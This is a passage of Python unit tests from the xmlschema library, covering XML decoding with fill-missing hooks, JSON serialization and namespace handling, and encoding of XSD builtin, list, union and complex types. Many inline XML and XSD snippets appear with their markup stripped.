'@test_attr_2': None } }} ]} xml_dict = schema.decode(xml_file, fill_missing=True) self.assertDictEqual(xml_dict, expected) def fill_missing_content(element_data: ElementData, _xsd_element, xsd_type): group = xsd_type.model_group if group is None: return element_data # an element with simple content filled_content = [] model = ModelVisitor(group) xsd_element = None for name, value, xsd_element in element_data.content: if isinstance(name, int) or xsd_element is None: filled_content.append((name, value, xsd_element)) continue while model.element is not None: if model.element is xsd_element: filled_content.append((name, value, xsd_element)) for _err in model.advance(True): pass break if model.element.max_occurs != 0: filled_content.append((model.element.name, None, model.element)) for _err in model.advance(False): pass else: filled_content.append((name, value, xsd_element)) while model.element is not None: if model.element is not xsd_element and model.element.max_occurs != 0: filled_content.append((model.element.name, None, model.element)) for _err in model.advance(False): pass return ElementData( element_data.tag, element_data.text, filled_content, element_data.attributes, None ) expected = {'TEST_EL': [ {'@Date': '2022-10-03', 'TEST_EL_2': { 'exists_in_xml': { '@test_attr': 'test_value_attr', '@test_attr_2': None }, 'not_exists_in_xml': None }} ]} xml_dict = schema.decode(xml_file, element_hook=fill_missing_content, fill_missing=True) self.assertDictEqual(xml_dict, expected) # Resolving more complex schemas requires more checks in hook function xsd_file = self.casepath('issues/issue_341/issue_341-ext.xsd') schema = self.schema_class(xsd_file) expected = {'TEST_EL': [ {'@Date': '2022-10-03', 'TEST_EL_2': { 'exists_in_xml': { '@test_attr': 'test_value_attr', '@test_attr_2': None }, 'not_exists_in_xml': None, 'choice_elem1': None, 'choice_elem2': None, # this is wrong (at most one element for a choice) }} ]} xml_dict = schema.decode(xml_file, element_hook=fill_missing_content, fill_missing=True) self.assertDictEqual(xml_dict, expected) def test_decoding_non_unicode_files(self): # Using cp1252 encoded XSD schema_file = self.casepath('examples/menĂ¹/menĂ¹-cp1252.xsd') schema = self.schema_class(schema_file) xml_file = self.casepath('examples/menĂ¹/menĂ¹-cp1252.xml') self.assertDictEqual(schema.decode(xml_file), MENU_DICT) xml_file = self.casepath('examples/menĂ¹/menĂ¹-ascii.xml') with self.assertRaises(ElementTree.ParseError): schema.decode(xml_file) # Invalid XML file (entity in a tag name) xml_file = self.casepath('examples/menĂ¹/menĂ¹.xml') self.assertDictEqual(schema.decode(xml_file), MENU_DICT) # Using ASCII encoded XSD schema_file = self.casepath('examples/menĂ¹/menĂ¹-ascii.xsd') schema = self.schema_class(schema_file) xml_file = self.casepath('examples/menĂ¹/menĂ¹-cp1252.xml') self.assertDictEqual(schema.decode(xml_file), MENU_DICT) xml_file = self.casepath('examples/menĂ¹/menĂ¹.xml') self.assertDictEqual(schema.decode(xml_file), MENU_DICT) def test_xml_to_json_serialization(self): xml_file = self.casepath('serialization/document.xml') obj = xmlschema.to_json( xml_file, validation='skip', converter=xmlschema.ParkerConverter, xmlns_processing='stacked', ) with open(self.casepath('serialization/parker.json')) as fp: json_data = json.load(fp) self.assertDictEqual(json.loads(obj), json_data) obj = xmlschema.to_json( xml_file, validation='skip', converter=xmlschema.BadgerFishConverter, xmlns_processing='stacked', ) with open(self.casepath('serialization/badgerfish.json')) as fp: json_data = json.load(fp) self.assertDictEqual(json.loads(obj), json_data) obj = xmlschema.to_json( xml_file, validation='skip', converter=xmlschema.JsonMLConverter, xmlns_processing='stacked', ) with open(self.casepath('serialization/jsonml.json')) as fp: json_data = json.load(fp) self.assertListEqual(json.loads(obj), json_data) obj = xmlschema.to_json( xml_file, validation='skip', converter=xmlschema.AbderaConverter, xmlns_processing='stacked', ) with open(self.casepath('serialization/abdera.json')) as fp: json_data = json.load(fp) self.assertDictEqual(json.loads(obj), json_data) def test_xmlns_processing_argument(self): xsd_file = self.casepath('examples/collection/collection5.xsd') xml_file = self.casepath('examples/collection/collection-redef-xmlns.xml') schema = self.schema_class(xsd_file) self.assertTrue(schema.is_valid(xml_file)) obj = schema.decode(xml_file) self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_STACKED) obj = schema.decode(xml_file, xmlns_processing='stacked') self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_STACKED) obj = schema.decode(xml_file, xmlns_processing='collapsed') self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_COLLAPSED) obj = schema.decode(xml_file, xmlns_processing='root-only') self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_ROOT_ONLY) namespaces = {'xsi-alt': 'http://www.w3.org/2001/XMLSchema-instance', 'col-alt': 'http://example.com/ns/collection'} obj = schema.decode(xml_file, xmlns_processing='none', namespaces=namespaces) self.assertDictEqual(obj, COLLECTION_XMLNS_PROCESSING_NONE) with self.assertRaises(ValueError): schema.decode(xml_file, xmlns_processing='precise') with self.assertRaises(TypeError): schema.decode(xml_file, xmlns_processing=True) def test_namespaces_argument(self): namespaces = {'vh': 'http://example.com/vehicles'} obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) self.assertDictEqual(obj, VEHICLES_DICT) namespaces = {'vh2': 'http://example.com/vehicles'} obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) self.assertDictEqual(obj, VEHICLES_DICT_OVERRIDE_PREFIX_1) namespaces = {'vh-alt': 'http://example.com/vehicles', '': 'http://example.com/vehicles'} obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) self.assertDictEqual(obj, VEHICLES_DICT_OVERRIDE_PREFIX_2) namespaces = {'': 'http://example.com/vehicles'} obj = self.vh_schema.decode(self.vh_xml_file, namespaces=namespaces) self.assertDictEqual(obj, VEHICLES_DICT_OVERRIDE_PREFIX_3) def test_validation_hook_argument(self): tags_num = 1 def stop_decoding(_e, _xsd_element): nonlocal tags_num if tags_num >= 10: return True tags_num += 1 return False obj = self.col_schema.decode(self.col_xml_file, validation_hook=stop_decoding) self.assertIn('object', obj) self.assertEqual(len(obj['object']), 1) class TestDecoding11(TestDecoding): schema_class = XMLSchema11 def test_datetime_types(self): xs = self.get_schema('') self.assertEqual(xs.decode('
2019-01-01T13:40:00
'), '2019-01-01T13:40:00') self.assertEqual(xs.decode('
2019-01-01T13:40:00
', datetime_types=True), datatypes.DateTime.fromstring('2019-01-01T13:40:00')) xs = self.get_schema('') self.assertEqual(xs.decode('
2001-04-15
'), '2001-04-15') self.assertEqual(xs.decode('
2001-04-15
', datetime_types=True), datatypes.Date.fromstring('2001-04-15')) xs = self.get_schema('') self.assertEqual(xs.attributes['dt'].decode('2001-04-15'), '2001-04-15') self.assertEqual(xs.attributes['dt'].decode('2001-04-15', datetime_types=True), datatypes.Date.fromstring('2001-04-15')) def test_derived_duration_types(self): xs = self.get_schema('') self.assertEqual(xs.decode('P0Y4M'), 'P0Y4M') self.assertEqual(xs.decode('P2Y10M', datetime_types=True), datatypes.Duration.fromstring('P2Y10M')) xs = self.get_schema('') self.assertEqual(xs.decode('P2DT6H30M30.001S'), 'P2DT6H30M30.001S') self.assertEqual(xs.decode('P2DT26H'), 'P2DT26H') self.assertEqual(xs.decode('P2DT6H30M30.001S', datetime_types=True), datatypes.Duration.fromstring('P2DT6H30M30.001S')) def test_type_alternatives(self): xs = self.schema_class(self.casepath('features/elements/type_alternatives-no-ns.xsd')) self.assertTrue(xs.is_valid('10')) self.assertFalse(xs.is_valid('10.1')) self.assertTrue(xs.is_valid('10.1')) self.assertFalse(xs.is_valid('alpha')) self.assertFalse(xs.is_valid('alpha')) self.assertTrue(xs.is_valid('0')) self.assertTrue(xs.is_valid('true')) xs = self.schema_class(self.casepath('features/elements/type_alternatives.xsd')) self.assertTrue(xs.is_valid('10')) self.assertFalse(xs.is_valid('10.1')) self.assertTrue(xs.is_valid('10.1')) self.assertFalse(xs.is_valid('alpha')) self.assertFalse(xs.is_valid('alpha')) self.assertTrue(xs.is_valid('0')) self.assertTrue(xs.is_valid('true')) if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('decoding') xmlschema-4.1.0/tests/validation/test_encoding.py000066400000000000000000001242231502040105500221640ustar00rootroot00000000000000#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato # import decimal import pathlib import unittest from textwrap import dedent from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None from elementpath import datatypes from elementpath.etree import etree_tostring from xmlschema import XMLSchemaEncodeError, XMLSchemaValidationError from xmlschema.converters import UnorderedConverter, JsonMLConverter from xmlschema.utils.etree import is_etree_element from xmlschema.utils.qnames import local_name from xmlschema.resources import XMLResource from xmlschema.validators.exceptions import XMLSchemaChildrenValidationError from xmlschema.validators import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase, etree_elements_assert_equal class TestEncoding(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def check_encode(self, xsd_component, data, expected, **kwargs): if isinstance(expected, type) and issubclass(expected, Exception): self.assertRaises(expected, xsd_component.encode, data, **kwargs) elif is_etree_element(expected): elem = xsd_component.encode(data, **kwargs) self.check_etree_elements(expected, elem) else: obj = xsd_component.encode(data, **kwargs) if isinstance(obj, tuple) and len(obj) == 2 and isinstance(obj[1], list): self.assertEqual(expected, obj[0]) self.assertTrue(isinstance(obj[0], type(expected))) elif is_etree_element(obj): namespaces = kwargs.pop('namespaces', self.default_namespaces) self.assertEqual(expected, etree_tostring(obj, namespaces=namespaces).strip()) else: self.assertEqual(expected, obj) self.assertTrue(isinstance(obj, type(expected))) def test_decode_encode(self): """Test encode after decode, checking the re-encoded tree.""" filename = self.casepath('examples/collection/collection.xml') xt = ElementTree.parse(filename) xd = self.col_schema.to_dict(filename) elem = self.col_schema.encode(xd, path='./col:collection', namespaces=self.col_namespaces) self.assertEqual( len([e for e in elem.iter()]), 20, msg="The encoded tree must have 20 elements as the origin." ) self.assertTrue(all( local_name(e1.tag) == local_name(e2.tag) for e1, e2 in zip(elem.iter(), xt.getroot().iter()) )) def test_string_builtin_type(self): self.check_encode(self.xsd_types['string'], 'sample string ', 'sample string ') self.check_encode(self.xsd_types['string'], '\n\r sample\tstring\n', '\n\r sample\tstring\n') def test_normalized_string_builtin_type(self): self.check_encode(self.xsd_types['normalizedString'], ' sample string ', ' sample string ') self.check_encode(self.xsd_types['normalizedString'], '\n\r sample\tstring\n', ' sample string ') self.check_encode(self.xsd_types['normalizedString'], datatypes.NormalizedString(' sample string '), ' sample string ') self.check_encode(self.xsd_types['normalizedString'], datatypes.NormalizedString('\n\r sample\tstring\n'), ' sample string ') def test_name_builtin_type(self): self.check_encode(self.xsd_types['Name'], 'first_name', 'first_name') self.check_encode(self.xsd_types['Name'], ' first_name ', 'first_name') self.check_encode(self.xsd_types['Name'], 'first name', XMLSchemaValidationError) self.check_encode(self.xsd_types['Name'], '1st_name', XMLSchemaValidationError) self.check_encode(self.xsd_types['Name'], 'first_name1', 'first_name1') self.check_encode(self.xsd_types['Name'], 'first:name', 'first:name') self.check_encode(self.xsd_types['Name'], datatypes.Name('first:name'), 'first:name') def test_token_builtin_type(self): self.check_encode(self.xsd_types['token'], '\n\r sample\t\tstring\n ', 'sample string') self.check_encode(self.xsd_types['token'], datatypes.XsdToken('\n\r sample\t\tstring\n '), 'sample string') def test_language_builtin_type(self): self.check_encode(self.xsd_types['language'], 'sample string', XMLSchemaValidationError) self.check_encode(self.xsd_types['language'], ' en ', 'en') self.check_encode(self.xsd_types['language'], datatypes.Language(' en '), 'en') def test_ncname_builtin_type(self): self.check_encode(self.xsd_types['NCName'], 'first_name', 'first_name') self.check_encode(self.xsd_types['NCName'], datatypes.NCName('first_name'), 'first_name') self.check_encode(self.xsd_types['NCName'], 'first:name', XMLSchemaValidationError) def test_entity_builtin_type(self): self.check_encode(self.xsd_types['ENTITY'], 'first:name', XMLSchemaValidationError) self.check_encode(self.xsd_types['ENTITY'], 'name ', 'name') self.check_encode(self.xsd_types['ENTITY'], datatypes.Entity('name '), 'name') def test_id_builtin_type(self): self.check_encode(self.xsd_types['ID'], 'first:name', XMLSchemaValidationError) self.check_encode(self.xsd_types['ID'], '12345', XMLSchemaValidationError) self.check_encode(self.xsd_types['ID'], ' a12345 ', 'a12345') self.check_encode(self.xsd_types['ID'], datatypes.Id(' a12345 '), 'a12345') def test_idref_builtin_type(self): self.check_encode(self.xsd_types['IDREF'], 'first:name', XMLSchemaValidationError) self.check_encode(self.xsd_types['IDREF'], '12345', XMLSchemaValidationError) self.check_encode(self.xsd_types['IDREF'], ' a12345 ', 'a12345') self.check_encode(self.xsd_types['IDREF'], datatypes.Id(' a12345 '), 'a12345') def test_decimal_builtin_type(self): self.check_encode(self.xsd_types['decimal'], -99.09, '-99.09') self.check_encode(self.xsd_types['decimal'], '-99.09', '-99.09') self.check_encode(self.xsd_types['decimal'], decimal.Decimal('-99.09'), '-99.09') def test_integer_builtin_type(self): self.check_encode(self.xsd_types['integer'], 1000, '1000') self.check_encode(self.xsd_types['integer'], ' 1000', '1000', untyped_data=True) self.check_encode(self.xsd_types['integer'], datatypes.Integer(1000), '1000') self.check_encode(self.xsd_types['integer'], 100.0, XMLSchemaEncodeError) self.check_encode(self.xsd_types['integer'], 100.0, '100', validation='lax') def test_short_builtin_type(self): self.check_encode(self.xsd_types['short'], 1999, '1999') self.check_encode(self.xsd_types['short'], ' 1999 ', '1999', untyped_data=True) self.check_encode(self.xsd_types['short'], datatypes.Short(1999), '1999') self.check_encode(self.xsd_types['short'], 10000000, XMLSchemaValidationError) def test_float_builtin_type(self): self.check_encode(self.xsd_types['float'], 100.0, '100.0') self.check_encode(self.xsd_types['float'], 'hello', XMLSchemaEncodeError) def test_double_builtin_type(self): self.check_encode(self.xsd_types['double'], -4531.7, '-4531.7') def test_positive_integer_builtin_type(self): self.check_encode(self.xsd_types['positiveInteger'], -1, XMLSchemaValidationError) self.check_encode(self.xsd_types['positiveInteger'], 0, XMLSchemaValidationError) def test_non_negative_integer_builtin_type(self): self.check_encode(self.xsd_types['nonNegativeInteger'], 0, '0') self.check_encode(self.xsd_types['nonNegativeInteger'], -1, XMLSchemaValidationError) def test_negative_integer_builtin_type(self): self.check_encode(self.xsd_types['negativeInteger'], -100, '-100') def test_unsigned_long_builtin_type(self): self.check_encode(self.xsd_types['unsignedLong'], 101, '101') self.check_encode(self.xsd_types['unsignedLong'], -101, XMLSchemaValidationError) def test_non_positive_integer_builtin_type(self): self.check_encode(self.xsd_types['nonPositiveInteger'], -7, '-7') self.check_encode(self.xsd_types['nonPositiveInteger'], 7, XMLSchemaValidationError) def test_list_builtin_types(self): self.check_encode(self.xsd_types['IDREFS'], ['first_name'], 'first_name') self.check_encode(self.xsd_types['IDREFS'], 'first_name', 'first_name') # Transform data to list self.check_encode(self.xsd_types['IDREFS'], ['one', 'two', 'three'], 'one two three') self.check_encode(self.xsd_types['IDREFS'], [1, 'two', 'three'], XMLSchemaValidationError) self.check_encode(self.xsd_types['NMTOKENS'], ['one', 'two', 'three'], 'one two three') self.check_encode(self.xsd_types['ENTITIES'], ('mouse', 'cat', 'dog'), 'mouse cat dog') def test_datetime_builtin_type(self): xs = self.get_schema('') dt = xs.decode('
2019-01-01T13:40:00
', datetime_types=True) self.assertIsInstance(dt, datatypes.DateTime10) self.assertEqual(etree_tostring(xs.encode(dt)), '
2019-01-01T13:40:00
') dt = xs.decode('
2019-01-01T13:40:00
') self.assertIsInstance(dt, str) self.assertEqual(etree_tostring(xs.encode(dt)), '
2019-01-01T13:40:00
') def test_date_builtin_type(self): xs = self.get_schema('') date = xs.decode('
2001-04-15
', datetime_types=True) self.assertEqual(etree_tostring(xs.encode(date)), '
2001-04-15
') mdate_type = self.st_schema.types['mdate'] date = mdate_type.encode('2001-01-01') self.assertIsInstance(date, str) self.assertEqual(date, '2001-01-01') date = mdate_type.encode(datatypes.Date.fromstring('2001-01-01')) self.assertIsInstance(date, str) self.assertEqual(date, '2001-01-01') def test_duration_builtin_type(self): xs = self.get_schema('') duration = xs.decode('P5Y3MT60H30.001S', datetime_types=True) self.assertEqual(etree_tostring(xs.encode(duration)), 'P5Y3M2DT12H30.001S') def test_gregorian_year_builtin_type(self): xs = self.get_schema('') gyear = xs.decode('2000', datetime_types=True) self.assertEqual(etree_tostring(xs.encode(gyear)), '2000') def test_gregorian_yearmonth_builtin_type(self): xs = self.get_schema('') gyear_month = xs.decode('2000-12', datetime_types=True) self.assertEqual(etree_tostring(xs.encode(gyear_month)), '2000-12') def test_hex_binary_type(self): hex_code_type = self.st_schema.types['hexCode'] value = hex_code_type.encode('00D7310A') self.assertEqual(value, '00D7310A') self.assertIsInstance(value, str) value = hex_code_type.encode(datatypes.HexBinary(b'00D7310A')) self.assertEqual(value, '00D7310A') self.assertIsInstance(value, str) def test_base64_binary_type(self): base64_code_type = self.st_schema.types['base64Code'] value = base64_code_type.encode('YWJjZWZnaA==') self.assertEqual(value, 'YWJjZWZnaA==') self.assertIsInstance(value, str) value = base64_code_type.encode(datatypes.Base64Binary(b'YWJjZWZnaA==')) self.assertEqual(value, 'YWJjZWZnaA==') self.assertIsInstance(value, str) def test_list_types(self): list_of_strings = self.st_schema.types['list_of_strings'] self.check_encode(list_of_strings, (10, 25, 40), '10 25 40', validation='lax') self.check_encode(list_of_strings, (10, 25, 40), '10 25 40', validation='skip') self.check_encode(list_of_strings, ['a', 'b', 'c'], 'a b c', validation='skip') list_of_integers = self.st_schema.types['list_of_integers'] self.check_encode(list_of_integers, (10, 25, 40), '10 25 40') self.check_encode(list_of_integers, (10, 25.0, 40), XMLSchemaValidationError) self.check_encode(list_of_integers, (10, 25.0, 40), '10 25 40', validation='lax') list_of_floats = self.st_schema.types['list_of_floats'] self.check_encode(list_of_floats, [10.1, 25.0, 40.0], '10.1 25.0 40.0') self.check_encode(list_of_floats, [10.1, 25, 40.0], '10.1 25.0 40.0', validation='lax') self.check_encode(list_of_floats, [10.1, False, 40.0], '10.1 0.0 40.0', validation='lax') list_of_booleans = self.st_schema.types['list_of_booleans'] self.check_encode(list_of_booleans, [True, False, True], 'true false true') self.check_encode(list_of_booleans, [10, False, True], XMLSchemaEncodeError) self.check_encode(list_of_booleans, [True, False, 40.0], 'true false true', validation='lax') self.check_encode(list_of_booleans, [True, False, 40.0], 'true false 40.0', validation='skip') def test_union_types(self): integer_or_float = self.st_schema.types['integer_or_float'] self.check_encode(integer_or_float, -95, '-95') self.check_encode(integer_or_float, -95.0, '-95.0') self.check_encode(integer_or_float, True, XMLSchemaEncodeError) self.check_encode(integer_or_float, True, 'true', validation='skip') self.check_encode(integer_or_float, True, None, validation='lax') integer_or_string = self.st_schema.types['integer_or_string'] self.check_encode(integer_or_string, 89, '89') self.check_encode(integer_or_string, 89.0, '89.0', validation='skip') self.check_encode(integer_or_string, 89.0, None, validation='lax') self.check_encode(integer_or_string, 89.0, XMLSchemaEncodeError) self.check_encode(integer_or_string, False, XMLSchemaEncodeError) self.check_encode(integer_or_string, "Venice ", 'Venice ') boolean_or_integer_or_string = self.st_schema.types['boolean_or_integer_or_string'] self.check_encode(boolean_or_integer_or_string, 89, '89') self.check_encode(boolean_or_integer_or_string, 89.0, '89.0', validation='skip') self.check_encode(boolean_or_integer_or_string, 89.0, None, validation='lax') self.check_encode(boolean_or_integer_or_string, 89.0, XMLSchemaEncodeError) self.check_encode(boolean_or_integer_or_string, False, 'false') self.check_encode(boolean_or_integer_or_string, "Venice ", 'Venice ') def test_simple_elements(self): elem = ElementTree.Element('A') elem.text = '89' self.check_encode(self.get_element('A', type='xs:string'), '89', elem) self.check_encode(self.get_element('A', type='xs:integer'), 89, elem) elem.text = '-10.4' self.check_encode(self.get_element('A', type='xs:float'), -10.4, elem) elem.text = 'false' self.check_encode(self.get_element('A', type='xs:boolean'), False, elem) elem.text = 'true' self.check_encode(self.get_element('A', type='xs:boolean'), True, elem) self.check_encode(self.get_element('A', type='xs:short'), 128000, XMLSchemaValidationError) elem.text = '0' self.check_encode(self.get_element('A', type='xs:nonNegativeInteger'), 0, elem) self.check_encode(self.get_element('A', type='xs:nonNegativeInteger'), 0, elem) self.check_encode(self.get_element('A', type='xs:positiveInteger'), 0, XMLSchemaValidationError) elem.text = '-1' self.check_encode(self.get_element('A', type='xs:negativeInteger'), -1, elem) self.check_encode(self.get_element('A', type='xs:nonNegativeInteger'), '-1', XMLSchemaValidationError) self.check_encode(self.get_element('A', type='xs:nonNegativeInteger'), -1, XMLSchemaValidationError) def test_complex_elements(self): schema = self.get_schema(""" """) self.check_encode( schema.elements['A'], data={'@a1': 10, '@a2': -1, '$': 'simple '}, expected='simple ', ) self.check_encode( schema.elements['A'], {'@a1': 10, '@a2': -1, '$': 'simple '}, ElementTree.fromstring('simple '), ) self.check_encode( schema.elements['A'], {'@a1': 10, '@a2': -1}, ElementTree.fromstring('') ) self.check_encode( schema.elements['A'], {'@a1': 10, '$': 'simple '}, ElementTree.fromstring('simple ') ) self.check_encode(schema.elements['A'], {'@a2': -1, '$': 'simple '}, XMLSchemaValidationError) schema = self.get_schema(""" """) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('B3', False)]), expected='\nabc\n10\nfalse\n', indent=0, ) self.check_encode(schema.elements['A'], {'B1': 'abc', 'B2': 10, 'B4': False}, XMLSchemaValidationError) def test_error_message(self): schema = self.schema_class(self.casepath('issues/issue_115/Rotation.xsd')) rotation_data = { "@roll": 0.0, "@pitch": 0.0, "@yaw": -1.0 # <----- invalid value, must be between 0 and 360 } message_lines = [] try: schema.encode(rotation_data) except XMLSchemaValidationError as err: message_lines = str(err).split('\n') self.assertEqual(err.source, {'@roll': 0.0, '@pitch': 0.0, '@yaw': -1.0}) self.assertIsNone(err.path) self.assertTrue(message_lines, msg="Empty error message!") self.assertEqual(message_lines[-4], 'Instance:') text = '' self.assertEqual(message_lines[-2].strip(), text) # With 'lax' validation a dummy resource is assigned to source attribute _, errors = schema.encode(rotation_data, validation='lax') self.assertIsInstance(errors[0].source, XMLResource) self.assertEqual(errors[0].path, '/{http://www.example.org/Rotation/}rotation') def test_max_occurs_sequence(self): # Issue #119 schema = self.get_schema(""" """) # Check validity self.assertIsNone(schema.validate("1")) self.assertIsNone(schema.validate("12")) with self.assertRaises(XMLSchemaChildrenValidationError): schema.validate("123") self.assertTrue(is_etree_element(schema.to_etree({'A': 1}, path='foo'))) self.assertTrue(is_etree_element(schema.to_etree({'A': [1]}, path='foo'))) self.assertTrue(is_etree_element(schema.to_etree({'A': [1, 2]}, path='foo'))) with self.assertRaises(XMLSchemaChildrenValidationError): schema.to_etree({'A': [1, 2, 3]}, path='foo') schema = self.get_schema(""" """) self.assertTrue(is_etree_element(schema.to_etree({'A': [1, 2]}, path='foo'))) with self.assertRaises(XMLSchemaChildrenValidationError): schema.to_etree({'A': [1, 2, 3]}, path='foo') def test_encode_unordered_content(self): schema = self.get_schema(""" """) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B2', 10), ('B1', 'abc'), ('B3', True)]), expected=XMLSchemaChildrenValidationError ) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B2', 10), ('B1', 'abc'), ('B3', True)]), expected='\nabc\n10\ntrue\n', indent=0, cdata_prefix='#', converter=UnorderedConverter ) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('#1', 'hello'), ('B3', True)]), expected='\nhelloabc\n10\ntrue\n', indent=0, cdata_prefix='#', converter=UnorderedConverter ) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('#1', 'hello'), ('B3', True)]), expected='\nabc\n10\nhello\ntrue\n', indent=0, cdata_prefix='#' ) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('#1', 'hello')]), expected=XMLSchemaValidationError, indent=0, cdata_prefix='#' ) def test_encode_unordered_content_2(self): """Here we test with a default converter at the schema level""" schema = self.get_schema(""" """, converter=UnorderedConverter) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B2', 10), ('B1', 'abc'), ('B3', True)]), expected='\nabc\n10\ntrue\n', indent=0, cdata_prefix='#' ) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('#1', 'hello'), ('B3', True)]), expected='\nhelloabc\n10\ntrue\n', indent=0, cdata_prefix='#' ) self.check_encode( xsd_component=schema.elements['A'], data=dict([('B1', 'abc'), ('B2', 10), ('#1', 'hello')]), expected=XMLSchemaValidationError, indent=0, cdata_prefix='#' ) def test_strict_trailing_content(self): """Too many elements for a group raises an exception.""" schema = self.get_schema(""" """) self.check_encode( schema.elements['foo'], data={"A": [1, 2, 3]}, expected=XMLSchemaChildrenValidationError, ) def test_unordered_converter_repeated_sequence_of_elements(self): schema = self.get_schema(""" """) root = schema.to_etree(dict([('A', [1, 2]), ('B', [3, 4])])) self.assertListEqual([e.text for e in root], ['1', '3', '2', '4']) root = schema.to_etree({"A": [1, 2], "B": [3, 4]}, converter=UnorderedConverter) self.assertListEqual([e.text for e in root], ['1', '3', '2', '4']) root = schema.to_etree({"A": [1, 2], "B": [3, 4]}, unordered=True) self.assertListEqual([e.text for e in root], ['1', '3', '2', '4']) def test_xsi_type_and_attributes_unmap__issue_214(self): schema = self.schema_class(""" """) xml1 = """alpha""" self.assertEqual(schema.decode(xml1), {'@xmlns': 'http://xmlschema.test/ns', '$': 'alpha'}) xml2 = """alpha""" obj = schema.decode(xml2) self.assertEqual(obj, {'@xmlns': 'http://xmlschema.test/ns', '@xmlns:xsi': 'http://www.w3.org/2001/XMLSchema-instance', '@xsi:type': 'altType', '@a1': 'beta', '$': 'alpha'}) root = schema.encode(obj, path='{http://xmlschema.test/ns}a') self.assertEqual(root.tag, '{http://xmlschema.test/ns}a') self.assertEqual(root.attrib, { '{http://www.w3.org/2001/XMLSchema-instance}type': 'altType', 'a1': 'beta' }) def test_element_encoding_with_defaults__issue_218(self): schema = self.schema_class(dedent("""\ """)) self.assertEqual(schema.decode(''), {'b1': True, 'b2': True, 'b3': False}) values = schema.encode({'b1': None, 'b2': True, 'b3': False}) self.assertEqual(len(values), 3) self.assertEqual(values[0].tag, 'b1') self.assertEqual(values[0].text, '1') self.assertEqual(values[1].tag, 'b2') self.assertEqual(values[1].text, 'true') self.assertEqual(values[2].tag, 'b3') self.assertEqual(values[2].text, 'false') values = schema.encode({'b1': False, 'b2': True, 'b3': None}) self.assertEqual(len(values), 3) self.assertEqual(values[0].tag, 'b1') self.assertEqual(values[0].text, 'false') self.assertEqual(values[1].tag, 'b2') self.assertEqual(values[1].text, 'true') self.assertEqual(values[2].tag, 'b3') self.assertEqual(values[2].text, 'false') def test_attribute_encoding_with_defaults__issue_218(self): schema = self.schema_class(dedent("""\ """)) self.assertTrue(schema.is_valid('content')) self.assertEqual(schema.decode(''), {'@b1': True, '@b2': True, '@b3': False}) elem = schema.encode({}) self.assertIsNone(elem.text) self.assertEqual(elem.attrib, {'b1': '1', 'b2': 'true', 'b3': 'false'}) elem = schema.encode({'@b1': True, '@b3': True}) self.assertIsNone(elem.text) self.assertEqual(elem.attrib, {'b1': 'true', 'b2': 'true', 'b3': 'true'}) elem = schema.encode({'@b2': False, '@b1': False}) self.assertIsNone(elem.text) self.assertEqual(elem.attrib, {'b1': 'false', 'b2': 'false', 'b3': 'false'}) def test_encode_sub_tree(self): """Test encoding data of a non-root element""" data = { "@id": "PAR", "name": "Pierre-Auguste Renoir", "born": "1841-02-25", "dead": "1919-12-03", "qualification": "painter", } elem = self.col_schema.encode( data, path=".//author", namespaces=self.col_namespaces, ) self.assertEqual( etree_tostring(elem), dedent( """\ Pierre-Auguste Renoir 1841-02-25 1919-12-03 painter """ ) ) @unittest.skipIf(lxml_etree is None, "The lxml library is not available.") def test_lxml_encode(self): """Test encode with etree_element_class=lxml.etree.Element""" xd = { "@xmlns:col": "http://example.com/ns/collection", "@xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance", "@xsi:schemaLocation": "http://example.com/ns/collection collection.xsd", "object": [ { "@id": "b0836217463", "@available": True, "position": 2, "title": None, "year": "1925", "author": { "@id": "JM", "name": "Joan MirĂ³", "born": "1893-04-20", "dead": "1983-12-25", "qualification": "painter, sculptor and ceramicist", }, }, ], } elem = self.col_schema.encode( xd, path="./col:collection", namespaces=self.col_namespaces, etree_element_class=lxml_etree.Element, ) self.assertTrue(hasattr(elem, 'nsmap')) self.assertEqual( etree_tostring(elem, namespaces=self.col_namespaces), dedent( """\ 2 <year>1925</year> <author id="JM"> <name>Joan MirĂ³</name> <born>1893-04-20</born> <dead>1983-12-25</dead> <qualification>painter, sculptor and ceramicist</qualification> </author> </object> </col:collection>""" ) ) def test_float_encoding(self): for float_type in [self.schema_class.meta_schema.types['float'], self.schema_class.meta_schema.types['double']]: self.assertEqual(float_type.encode(-1.0), '-1.0') self.assertEqual(float_type.encode(19.7), '19.7') self.assertEqual(float_type.encode(float('inf')), 'INF') self.assertEqual(float_type.encode(float('-inf')), '-INF') self.assertEqual(float_type.encode(float('nan')), 'NaN') def test_wildcard_with_foreign_and_jsonml__issue_298(self): schema = self.schema_class(self.casepath('issues/issue_298/issue_298.xsd')) xml_data = self.casepath('issues/issue_298/issue_298-2.xml') instance = [ 'tns:Root', {'xmlns:tns': 'http://xmlschema.test/ns', 'xmlns:zz': 'http://xmlschema.test/ns2'}, ['Container', ['Freeform', ['zz:ForeignSchema']]] ] result = schema.decode(xml_data, converter=JsonMLConverter) self.assertListEqual(result, instance) root, errors = schema.encode(instance, validation='lax', converter=JsonMLConverter) self.assertListEqual(errors, []) self.assertIsNone(etree_elements_assert_equal(root, ElementTree.parse(xml_data).getroot())) instance = ['tns:Root', ['Container', ['Freeform', ['zz:ForeignSchema']]]] namespaces = {'tns': 